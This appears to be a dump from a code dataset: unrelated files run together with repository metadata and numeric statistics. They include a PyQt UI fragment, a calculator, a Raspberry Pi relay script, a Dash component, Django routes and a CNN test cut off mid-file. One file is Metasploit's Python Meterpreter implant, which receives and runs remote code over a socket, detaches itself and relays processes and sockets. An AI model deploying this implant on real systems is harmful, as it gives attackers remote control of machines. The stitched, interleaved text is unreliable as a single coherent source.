self.splitter.setGeometry(QtCore.QRect(190, 20, 291, 361)) self.splitter.setOrientation(QtCore.Qt.Vertical) self.splitter.setObjectName("splitter") self.newParamsBox = QtWidgets.QGroupBox(self.splitter) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.newParamsBox.sizePolicy().hasHeightForWidth()) self.newParamsBox.setSizePolicy(sizePolicy) self.newParamsBox.setObjectName("newParamsBox") self.newParamsEdit = QtWidgets.QTextEdit(self.newParamsBox) self.newParamsEdit.setGeometry(QtCore.QRect(10, 20, 271, 141)) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.newParamsEdit.sizePolicy().hasHeightForWidth()) self.newParamsEdit.setSizePolicy(sizePolicy) self.newParamsEdit.setPlaceholderText("") self.newParamsEdit.setObjectName("newParamsEdit") self.modifiedParamsBox = QtWidgets.QGroupBox(self.splitter) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.modifiedParamsBox.sizePolicy().hasHeightForWidth()) self.modifiedParamsBox.setSizePolicy(sizePolicy) self.modifiedParamsBox.setObjectName("modifiedParamsBox") self.modifiedParamsEdit = QtWidgets.QTextEdit(self.modifiedParamsBox) self.modifiedParamsEdit.setGeometry(QtCore.QRect(10, 20, 271, 121)) self.modifiedParamsEdit.setObjectName("modifiedParamsEdit") self.widget = QtWidgets.QWidget(self.centralwidget) self.widget.setGeometry(QtCore.QRect(22, 20, 661, 81)) self.widget.setObjectName("widget") self.horizontalLayout = QtWidgets.QHBoxLayout(self.widget) self.horizontalLayout.setContentsMargins(0, 0, 0, 0) self.horizontalLayout.setObjectName("horizontalLayout") self.branchSelectBox = QtWidgets.QGroupBox(self.widget) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.branchSelectBox.sizePolicy().hasHeightForWidth()) self.branchSelectBox.setSizePolicy(sizePolicy) self.branchSelectBox.setObjectName("branchSelectBox") self.horizontalLayout_4 = QtWidgets.QHBoxLayout(self.branchSelectBox) self.horizontalLayout_4.setObjectName("horizontalLayout_4") self.checkBox10x = QtWidgets.QCheckBox(self.branchSelectBox) self.checkBox10x.setChecked(True) self.checkBox10x.setObjectName("checkBox10x") self.horizontalLayout_4.addWidget(self.checkBox10x) self.checkBox9x = QtWidgets.QCheckBox(self.branchSelectBox) self.checkBox9x.setChecked(True) self.checkBox9x.setObjectName("checkBox9x") self.horizontalLayout_4.addWidget(self.checkBox9x) self.horizontalLayout.addWidget(self.branchSelectBox) spacerItem1 = QtWidgets.QSpacerItem(250, 20, QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout.addItem(spacerItem1) self.startButton = QtWidgets.QPushButton(self.widget) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.startButton.sizePolicy().hasHeightForWidth()) self.startButton.setSizePolicy(sizePolicy) font = QtGui.QFont() font.setFamily("Consolas") font.setPointSize(14) self.startButton.setFont(font) self.startButton.setWhatsThis("") self.startButton.setObjectName("startButton") self.horizontalLayout.addWidget(self.startButton) CCMTask.setCentralWidget(self.centralwidget) self.statusbar = QtWidgets.QStatusBar(CCMTask) self.statusbar.setObjectName("statusbar") CCMTask.setStatusBar(self.statusbar) self.retranslateUi(CCMTask) QtCore.QMetaObject.connectSlotsByName(CCMTask) def retranslateUi(self, CCMTask): _translate = QtCore.QCoreApplication.translate CCMTask.setWindowTitle(_translate("CCMTask", "CCMTask")) self.issueBox.setTitle(_translate("CCMTask", "需求信息")) self.ARDTSEdit.setPlaceholderText(_translate("CCMTask", "AR或者DTS编号")) self.issueInfoEdit.setPlaceholderText(_translate("CCMTask", "需求描述信息")) self.issueDetailBox.setTitle(_translate("CCMTask", "需求内容")) self.deletedParamsBox.setTitle(_translate("CCMTask", "删除参数")) self.opkeysBox_2.setTitle(_translate("CCMTask", "审核人列表")) self.opkeysBox.setTitle(_translate("CCMTask", "运营商列表")) self.opkey1Edit.setPlaceholderText(_translate("CCMTask", "OPkey1")) self.opkey2Edit.setPlaceholderText(_translate("CCMTask", "OPkey2")) self.opkey3Edit.setPlaceholderText(_translate("CCMTask", "OPkey3")) self.opkey4Edit.setPlaceholderText(_translate("CCMTask", "OPkey4")) self.opkey5Edit.setPlaceholderText(_translate("CCMTask", "OPkey5")) self.opkey6Edit.setPlaceholderText(_translate("CCMTask", "OPkey6")) self.newParamsBox.setTitle(_translate("CCMTask", "新增参数")) self.modifiedParamsBox.setTitle(_translate("CCMTask", "修改参数")) self.branchSelectBox.setTitle(_translate("CCMTask", "分支选择")) self.checkBox10x.setText(_translate("CCMTask", "10.x ALL")) self.checkBox9x.setText(_translate("CCMTask", "9.x ALL")) self.startButton.setText(_translate("CCMTask", "Start"))

57

112

0.732539

1,365

15,105

8.028571

0.130403

0.072999

0.038781

0.042705

0.342823

0.269276

0.229492

0.209234

0.200839

0.172735

0

0.02802

0.163588

15,105

264

113

57.215909

0.839402

0.011718

0

0.131474

1

0

0.049326

0

1

0.007968

false

0

0.003984

0

0.015936

0

null

0

1

0

null

0

1

b8028a1a0d82b7861ade532f7556efe716f52f14

1,136

py

Python

Day10/calci.py

viditvarshney/100DaysOfCode

eec82c98087093f1aec1cb21acab82368ae785a3

[ "MIT" ]

null

Day10/calci.py

viditvarshney/100DaysOfCode

eec82c98087093f1aec1cb21acab82368ae785a3

[ "MIT" ]

null

Day10/calci.py

viditvarshney/100DaysOfCode

eec82c98087093f1aec1cb21acab82368ae785a3

[ "MIT" ]

null

from logo import logo def add(n1, n2): return n1 + n2 def multiply(n1, n2): return n1 * n2 def subtract(n1, n2): return n1 - n2 def divide(n1, n2): return n1 / n2 symbols = ['+', '-', '/', '*'] operations = {'+': add, '-': subtract, '*': multiply, '/': divide} def Calci(): print(logo) num1 = float(input("Enter 1st number: ")) for key in operations: print(key) while True: choice = input("Choose an operation: ") if not choice in symbols: print("WARNING! Invalid Operation symbol: ") break num2 = float(input("Enter next number: ")) calculation_func = operations[choice] result = calculation_func(num1, num2) print(f"{num1} {choice} {num2} = {result}") clear = input( f"Type 'y to continue with {result} or 'new' to start a new calculation 'n' to exit: ") if clear.casefold() == 'y': num1 = result elif clear.casefold() == 'new': Calci() else: print(f"Your final result is: {result}") break Calci()

21.037037

100

0.529049

133

1,136

4.503759

0.451128

0.053422

0.066778

0.080134

0.108514

0.085142

0

0.031537

0.330106

1,136

53

101

21.433962

0.755585

0

0.111111

0

0.027778

0.221831

0

1

0.138889

false

0

0.027778

0.111111

0.277778

0.138889

0

null

0

null

0

1

0

1

b80d9fd4d22bb1d71b3dd29f2cdfd01260186b03

614

py

Python

python/right_couch_move.py

ktmock13/PiCouch

21992efca9fa382c7a02c10fb037a994143038c6

[ "Apache-2.0" ]

null

python/right_couch_move.py

ktmock13/PiCouch

21992efca9fa382c7a02c10fb037a994143038c6

[ "Apache-2.0" ]

null

python/right_couch_move.py

ktmock13/PiCouch

21992efca9fa382c7a02c10fb037a994143038c6

[ "Apache-2.0" ]

null

import RPi.GPIO as GPIO from time import sleep import sys #setup GPIO.setmode(GPIO.BOARD) openRelay=11 closeRelay=13 GPIO.setup(openRelay, GPIO.OUT) GPIO.setup(closeRelay, GPIO.OUT) #get cmd args duration = float(sys.argv[1]) opening = sys.argv[2] in ['true', 'True', '1', 'TRUE'] relay = openRelay if opening else closeRelay #start GPIO.output(relay, GPIO.HIGH) print 'starting ' + ('open' if opening else 'close') + ' signal..' #wait print ' ' + str(duration) + 'secs' sleep(duration) #stop print ' ...ending signal' GPIO.output(relay, GPIO.LOW)

20.466667

66

0.640065

83

614

4.73494

0.53012

0.045802

0.066158

0.096692

0

0.014644

0.221498

614

29

67

21.172414

0.807531

0.04886

0

0.209343

0

null

0

0.176471

null

0.176471

0

null

0

null

0

1

0

1

b80eb5f1166695a86c73eccb3c18067bd324e51b

3,725

py

Python

lib/python3.7/site-packages/dash_bootstrap_components/_components/Popover.py

dukuaris/Django

d34f3e3f09028511e96b99cae7faa1b46458eed1

[ "MIT" ]

null

lib/python3.7/site-packages/dash_bootstrap_components/_components/Popover.py

dukuaris/Django

d34f3e3f09028511e96b99cae7faa1b46458eed1

[ "MIT" ]

12

2020-06-06T01:22:26.000Z

2022-03-12T00:13:42.000Z

lib/python3.7/site-packages/dash_bootstrap_components/_components/Popover.py

dukuaris/Django

d34f3e3f09028511e96b99cae7faa1b46458eed1

[ "MIT" ]

null

# AUTO GENERATED FILE - DO NOT EDIT from dash.development.base_component import Component, _explicitize_args class Popover(Component): """A Popover component. Keyword arguments: - children (a list of or a singular dash component, string or number; optional): The children of this component - id (string; optional): The ID of this component, used to identify dash components in callbacks. The ID needs to be unique across all of the components in an app. - style (dict; optional): Defines CSS styles which will override styles previously set. - className (string; optional): Often used with CSS to style elements with common properties. - key (string; optional): A unique identifier for the component, used to improve performance by React.js while rendering components See https://reactjs.org/docs/lists-and-keys.html for more info - placement (a value equal to: 'auto', 'auto-start', 'auto-end', 'top', 'top-start', 'top-end', 'right', 'right-start', 'right-end', 'bottom', 'bottom-start', 'bottom-end', 'left', 'left-start', 'left-end'; optional): Specify popover placement. - target (string; optional): ID of the component to attach the popover to. - container (string; optional): Where to inject the popper DOM node, default body. - is_open (boolean; optional): Whether the Popover is open or not. - hide_arrow (boolean; optional): Hide popover arrow. - innerClassName (string; optional): CSS class to apply to the popover. - delay (dict; optional): Optionally override show/hide delays - default {show: 0, hide: 250}. delay has the following type: dict containing keys 'show', 'hide'. Those keys have the following types: - show (number; optional) - hide (number; optional) | number - offset (string | number; optional): Popover offset. - loading_state (dict; optional): Object that holds the loading state object coming from dash-renderer. loading_state has the following type: dict containing keys 'is_loading', 'prop_name', 'component_name'. Those keys have the following types: - is_loading (boolean; optional): Determines if the component is loading or not - prop_name (string; optional): Holds which property is loading - component_name (string; optional): Holds the name of the component that is loading""" @_explicitize_args def __init__(self, children=None, id=Component.UNDEFINED, style=Component.UNDEFINED, className=Component.UNDEFINED, key=Component.UNDEFINED, placement=Component.UNDEFINED, target=Component.UNDEFINED, container=Component.UNDEFINED, is_open=Component.UNDEFINED, hide_arrow=Component.UNDEFINED, innerClassName=Component.UNDEFINED, delay=Component.UNDEFINED, offset=Component.UNDEFINED, loading_state=Component.UNDEFINED, **kwargs): self._prop_names = ['children', 'id', 'style', 'className', 'key', 'placement', 'target', 'container', 'is_open', 'hide_arrow', 'innerClassName', 'delay', 'offset', 'loading_state'] self._type = 'Popover' self._namespace = 'dash_bootstrap_components/_components' self._valid_wildcard_attributes = [] self.available_properties = ['children', 'id', 'style', 'className', 'key', 'placement', 'target', 'container', 'is_open', 'hide_arrow', 'innerClassName', 'delay', 'offset', 'loading_state'] self.available_wildcard_properties = [] _explicit_args = kwargs.pop('_explicit_args') _locals = locals() _locals.update(kwargs) # For wildcard attrs args = {k: _locals[k] for k in _explicit_args if k != 'children'} for k in []: if k not in args: raise TypeError( 'Required argument `' + k + '` was not specified.') super(Popover, self).__init__(children=children, **args)

67.727273

432

0.720537

480

3,725

5.479167

0.333333

0.088973

0.020532

0.014449

0.132319

0.109506

0.081369

0

0.001287

0.165906

3,725

54

433

68.981481

0.845188

0.575034

0

1

0

0.201142

0.023477

0

1

0.052632

false

0

0.052632

0

0.157895

0

null

0

1

0

null

0

1

b81415a0a71fcac22aeb01aa39ba0c4dc0f68e8c

13,866

py

Python

data/meterpreter/meterpreter.py

codex8/metasploit-framework

eb745af12fe591e94f8d6ce9dac0396d834991ab

[ "Apache-2.0", "BSD-3-Clause" ]

1

2015-11-05T21:38:38.000Z

data/meterpreter/meterpreter.py

codex8/metasploit-framework

eb745af12fe591e94f8d6ce9dac0396d834991ab

[ "Apache-2.0", "BSD-3-Clause" ]

null

data/meterpreter/meterpreter.py

codex8/metasploit-framework

eb745af12fe591e94f8d6ce9dac0396d834991ab

[ "Apache-2.0", "BSD-3-Clause" ]

null

#!/usr/bin/python import code import ctypes import os import random import select import socket import struct import subprocess import sys import threading has_windll = hasattr(ctypes, 'windll') # # Constants # PACKET_TYPE_REQUEST = 0 PACKET_TYPE_RESPONSE = 1 PACKET_TYPE_PLAIN_REQUEST = 10 PACKET_TYPE_PLAIN_RESPONSE = 11 ERROR_SUCCESS = 0 # not defined in original C implementation ERROR_FAILURE = 1 CHANNEL_CLASS_BUFFERED = 0 CHANNEL_CLASS_STREAM = 1 CHANNEL_CLASS_DATAGRAM = 2 CHANNEL_CLASS_POOL = 3 # # TLV Meta Types # TLV_META_TYPE_NONE = ( 0 ) TLV_META_TYPE_STRING = (1 << 16) TLV_META_TYPE_UINT = (1 << 17) TLV_META_TYPE_RAW = (1 << 18) TLV_META_TYPE_BOOL = (1 << 19) TLV_META_TYPE_COMPRESSED = (1 << 29) TLV_META_TYPE_GROUP = (1 << 30) TLV_META_TYPE_COMPLEX = (1 << 31) # not defined in original TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16) # # TLV base starting points # TLV_RESERVED = 0 TLV_EXTENSIONS = 20000 TLV_USER = 40000 TLV_TEMP = 60000 # # TLV Specific Types # TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0 TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1 TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2 TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3 TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4 TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10 TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11 TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12 TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25 TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26 TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27 TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50 TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51 TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52 TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53 TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54 TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70 TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71 TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72 TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300 TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301 TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400 TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401 TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402 TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403 TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500 TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501 def generate_request_id(): chars = 'abcdefghijklmnopqrstuvwxyz' return ''.join(random.choice(chars) for x in xrange(32)) def packet_get_tlv(pkt, tlv_type): offset = 0 while (offset < len(pkt)): tlv = struct.unpack('>II', pkt[offset:offset+8]) if (tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type: val = pkt[offset+8:(offset+8+(tlv[0] - 8))] if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: val = val.split('\x00', 1)[0] elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: val = struct.unpack('>I', val)[0] elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: val = bool(struct.unpack('b', val)[0]) elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: pass return {'type':tlv[1], 'length':tlv[0], 'value':val} offset += tlv[0] return {} def tlv_pack(*args): if len(args) == 2: tlv = {'type':args[0], 'value':args[1]} else: tlv = args[0] data = "" if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: data = struct.pack('>II', 8 + len(tlv['value']) + 1, tlv['type']) + tlv['value'] + '\x00' elif (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: data = struct.pack('>III', 12, tlv['type'], tlv['value']) elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: data = struct.pack('>II', 9, tlv['type']) + chr(int(bool(tlv['value']))) elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP: data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX: data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] return data class STDProcessBuffer(threading.Thread): def __init__(self, std, is_alive): threading.Thread.__init__(self) self.std = std self.is_alive = is_alive self.data = '' self.data_lock = threading.RLock() def run(self): while self.is_alive(): byte = self.std.read(1) self.data_lock.acquire() self.data += byte self.data_lock.release() self.data_lock.acquire() self.data += self.std.read() self.data_lock.release() def is_read_ready(self): return len(self.data) != 0 def read(self, l = None): data = '' self.data_lock.acquire() if l == None: data = self.data self.data = '' else: data = self.data[0:l] self.data = self.data[l:] self.data_lock.release() return data class STDProcess(subprocess.Popen): def __init__(self, *args, **kwargs): subprocess.Popen.__init__(self, *args, **kwargs) def start(self): self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None) self.stdout_reader.start() self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None) self.stderr_reader.start() class PythonMeterpreter(object): def __init__(self, socket): self.socket = socket self.extension_functions = {} self.channels = {} self.interact_channels = [] self.processes = {} for func in filter(lambda x: x.startswith('_core'), dir(self)): self.extension_functions[func[1:]] = getattr(self, func) self.running = True def register_function(self, func): self.extension_functions[func.__name__] = func def register_function_windll(self, func): if has_windll: self.register_function(func) def add_channel(self, channel): idx = 0 while idx in self.channels: idx += 1 self.channels[idx] = channel return idx def add_process(self, process): idx = 0 while idx in self.processes: idx += 1 self.processes[idx] = process return idx def run(self): while self.running: if len(select.select([self.socket], [], [], 0)[0]): request = self.socket.recv(8) if len(request) != 8: break req_length, req_type = struct.unpack('>II', request) req_length -= 8 request = '' while len(request) < req_length: request += self.socket.recv(4096) response = self.create_response(request) self.socket.send(response) else: channels_for_removal = [] channel_ids = self.channels.keys() # iterate over the keys because self.channels could be modified if one is closed for channel_id in channel_ids: channel = self.channels[channel_id] data = '' if isinstance(channel, STDProcess): if not channel_id in self.interact_channels: continue if channel.stdout_reader.is_read_ready(): data = channel.stdout_reader.read() elif channel.stderr_reader.is_read_ready(): data = channel.stderr_reader.read() elif channel.poll() != None: self.handle_dead_resource_channel(channel_id) elif isinstance(channel, socket._socketobject): while len(select.select([channel.fileno()], [], [], 0)[0]): try: d = channel.recv(1) except socket.error: d = '' if len(d) == 0: self.handle_dead_resource_channel(channel_id) break data += d if data: pkt = struct.pack('>I', PACKET_TYPE_REQUEST) pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write') pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) pkt += tlv_pack(TLV_TYPE_CHANNEL_DATA, data) pkt += tlv_pack(TLV_TYPE_LENGTH, len(data)) pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id()) pkt = struct.pack('>I', len(pkt) + 4) + pkt self.socket.send(pkt) def handle_dead_resource_channel(self, channel_id): del self.channels[channel_id] if channel_id in self.interact_channels: self.interact_channels.remove(channel_id) pkt = struct.pack('>I', PACKET_TYPE_REQUEST) pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_close') pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id()) pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) pkt = struct.pack('>I', len(pkt) + 4) + pkt self.socket.send(pkt) def _core_loadlib(self, request, response): data_tlv = packet_get_tlv(request, TLV_TYPE_DATA) if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED: return ERROR_FAILURE preloadlib_methods = self.extension_functions.keys() i = code.InteractiveInterpreter({'meterpreter':self, 'packet_get_tlv':packet_get_tlv, 'tlv_pack':tlv_pack, 'STDProcess':STDProcess}) i.runcode(compile(data_tlv['value'], '', 'exec')) postloadlib_methods = self.extension_functions.keys() new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods) for method in new_methods: response += tlv_pack(TLV_TYPE_METHOD, method) return ERROR_SUCCESS, response def _core_shutdown(self, request, response): response += tlv_pack(TLV_TYPE_BOOL, True) self.running = False return ERROR_SUCCESS, response def _core_channel_open(self, request, response): channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE) handler = 'channel_create_' + channel_type['value'] if handler not in self.extension_functions: return ERROR_FAILURE, response handler = self.extension_functions[handler] return handler(request, response) def _core_channel_close(self, request, response): channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] if channel_id not in self.channels: return ERROR_FAILURE, response channel = self.channels[channel_id] if isinstance(channel, file): channel.close() elif isinstance(channel, subprocess.Popen): channel.kill() elif isinstance(s, socket._socketobject): channel.close() else: return ERROR_FAILURE, response del self.channels[channel_id] if channel_id in self.interact_channels: self.interact_channels.remove(channel_id) return ERROR_SUCCESS, response def _core_channel_eof(self, request, response): channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] if channel_id not in self.channels: return ERROR_FAILURE, response channel = self.channels[channel_id] result = False if isinstance(channel, file): result = channel.tell() == os.fstat(channel.fileno()).st_size response += tlv_pack(TLV_TYPE_BOOL, result) return ERROR_SUCCESS, response def _core_channel_interact(self, request, response): channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] if channel_id not in self.channels: return ERROR_FAILURE, response channel = self.channels[channel_id] toggle = packet_get_tlv(request, TLV_TYPE_BOOL)['value'] if toggle: if channel_id in self.interact_channels: self.interact_channels.remove(channel_id) else: self.interact_channels.append(channel_id) elif channel_id in self.interact_channels: self.interact_channels.remove(channel_id) return ERROR_SUCCESS, response def _core_channel_read(self, request, response): channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value'] if channel_id not in self.channels: return ERROR_FAILURE, response channel = self.channels[channel_id] data = '' if isinstance(channel, file): data = channel.read(length) elif isinstance(channel, STDProcess): if channel.poll() != None: self.handle_dead_resource_channel(channel_id) if channel.stdout_reader.is_read_ready(): data = channel.stdout_reader.read(length) elif isinstance(s, socket._socketobject): data = channel.recv(length) else: return ERROR_FAILURE, response response += tlv_pack(TLV_TYPE_CHANNEL_DATA, data) return ERROR_SUCCESS, response def _core_channel_write(self, request, response): channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value'] length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value'] if channel_id not in self.channels: return ERROR_FAILURE, response channel = self.channels[channel_id] l = len(channel_data) if isinstance(channel, file): channel.write(channel_data) elif isinstance(channel, subprocess.Popen): if channel.poll() != None: self.handle_dead_resource_channel(channel_id) return ERROR_FAILURE, response channel.stdin.write(channel_data) elif isinstance(s, socket._socketobject): try: l = channel.send(channel_data) except socket.error: channel.close() self.handle_dead_resource_channel(channel_id) return ERROR_FAILURE, response else: return ERROR_FAILURE, response response += tlv_pack(TLV_TYPE_LENGTH, l) return ERROR_SUCCESS, response def create_response(self, request): resp = struct.pack('>I', PACKET_TYPE_RESPONSE) method_tlv = packet_get_tlv(request, TLV_TYPE_METHOD) resp += tlv_pack(method_tlv) reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID) resp += tlv_pack(reqid_tlv) if method_tlv['value'] in self.extension_functions: handler = self.extension_functions[method_tlv['value']] try: result, resp = handler(request, resp) except Exception, err: result = ERROR_FAILURE else: result = ERROR_FAILURE resp += tlv_pack(TLV_TYPE_RESULT, result) resp = struct.pack('>I', len(resp) + 4) + resp return resp if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0): if hasattr(os, 'setsid'): os.setsid() met = PythonMeterpreter(s) met.run()

33.737226

134

0.706044

1,998

13,866

4.585085

0.12963

0.053488

0.070844

0.027835

0.470145

0.379762

0.334898

0.292435

0.259251

0.251173

0

0.016563

0.177052

13,866

410

135

33.819512

0.786259

0.016515

0

0.331445

0

0.028485

0.001909

0

null

0.002833

0.028329

null

0

null

0

null

0

1

0

1

b8155fb4487ab6eefaea72ef47aa753b0a19b9bd

264

py

Python

txtjokes/urls.py

paqman85/txtjokes

d5b9faa1fd3f797c2feee277b8cd428cc05a17ed

[ "MIT" ]

1

2020-12-08T19:00:33.000Z

txtjokes/urls.py

paqman85/txtjokes

d5b9faa1fd3f797c2feee277b8cd428cc05a17ed

[ "MIT" ]

3

2021-03-30T13:47:03.000Z

2021-09-22T19:03:46.000Z

txtjokes/urls.py

paqman85/txtjokes

d5b9faa1fd3f797c2feee277b8cd428cc05a17ed

[ "MIT" ]

1

2020-04-24T14:39:03.000Z

from django.conf import settings from django.contrib import admin from django.urls import path, include urlpatterns = [ path('txt-jokes-administratus/', admin.site.urls), path('accounts/', include('allauth.urls')), path('', include('pages.urls')), ]

24

54

0.704545

33

264

5.636364

0.545455

0.16129

0

0.140152

264

10

55

26.4

0.819383

0

0.208333

0.090909

0

1

0

false

0

0.375

0

0.375

0

null

0

null

0

1

0

1

b8187e4887ed852a5b867debdeeccee5408895fe

7,134

py

Python

Engine/src/tests/algorithms/neuralnetwork/convolutional/conv_net_test.py

xapharius/HadoopML

c0129f298007ca89b538eb1a3800f991141ba361

[ "MIT" ]

2

2018-02-05T12:41:31.000Z

2018-11-23T04:13:13.000Z

Engine/src/tests/algorithms/neuralnetwork/convolutional/conv_net_test.py

xapharius/HadoopML

c0129f298007ca89b538eb1a3800f991141ba361

[ "MIT" ]

null

Engine/src/tests/algorithms/neuralnetwork/convolutional/conv_net_test.py

xapharius/HadoopML

c0129f298007ca89b538eb1a3800f991141ba361

[ "MIT" ]

null

import unittest import numpy as np import utils.imageutils as imgutils import utils.numpyutils as nputils from algorithms.neuralnetwork.convolutional.conv_net import ConvNet from datahandler.numerical.NumericalDataSet import NumericalDataSet import utils.serialization as srlztn def gen_vertical_bars(num): bars = [] for _ in range(num): x, y = np.random.randint(low=0, high=15, size=2) length = np.random.randint(low=4, high=13) bar = np.zeros((16, 16)) bar[y:y+length, x:x+2] = 1 bars.append(bar) return bars def gen_horizontal_bars(num): bars = [] for _ in range(num): x, y = np.random.randint(low=0, high=15, size=2) length = np.random.randint(low=4, high=13) bar = np.zeros((16, 16)) bar[y:y+2, x:x+length] = 1 bars.append(bar) return bars class Test(unittest.TestCase): def test_bars(self): # 16x16 images with bars that are 2 pixel thick train_verticals = gen_vertical_bars(50) train_horizontals = gen_horizontal_bars(50) test_verticals = gen_vertical_bars(50) test_horizontals = gen_horizontal_bars(50) inputs = np.array(train_verticals + train_horizontals) targets = np.array([[1, 0] for _ in train_verticals] + [[0, 1] for _ in train_horizontals]) data_set = NumericalDataSet(inputs, targets) test_inputs = np.array(test_verticals + test_horizontals) test_targets = np.array([[1, 0] for _ in test_verticals] + [[0, 1] for _ in test_horizontals]) test_data_set = NumericalDataSet(test_inputs, test_targets) # 16x16 -> C(3): 14x14 -> P(2): 7x7 -> C(3): 5x5 -> P(5): 1x1 net_topo = [('c', 3, 6), ('p', 2), ('c', 3, 8), ('p', 5), ('mlp', 8, 8, 2)] net = ConvNet(iterations=50, learning_rate=0.001, topo=net_topo) net.train(data_set) preds = net.predict(test_data_set) conf_mat = nputils.create_confidence_matrix(preds, test_targets, 2) print "Error rate: " + str(100 - (np.sum(conf_mat.diagonal()) / np.sum(conf_mat[:, :]) * 100)) + "%" def test_mnist_digits(self): digits, labels = imgutils.load_mnist_digits('../../data/mnist-digits/train-images.idx3-ubyte', '../../data/mnist-digits/train-labels.idx1-ubyte', 300) targets = np.array([ nputils.vec_with_one(10, digit) for digit in labels ]) train_data_set = NumericalDataSet(np.array(digits)[:150], targets[:150]) test_data_set = NumericalDataSet(np.array(digits)[150:], targets[150:]) # 28x28 -> C(5): 24x24 -> P(2): 12x12 -> C(5): 8x8 -> P(2): 4x4 -> C(4): 1x1 net_topo = [('c', 5, 8), ('p', 2), ('c', 5, 16), ('p', 2), ('c', 4, 16), ('mlp', 16, 16, 10)] net = ConvNet(iterations=30, learning_rate=0.01, topo=net_topo, activation_func=(nputils.rectifier, nputils.rectifier_deriv)) net.train(train_data_set) try: srlztn.save_object('../../trained/mnist_digits.cnn', net) except: 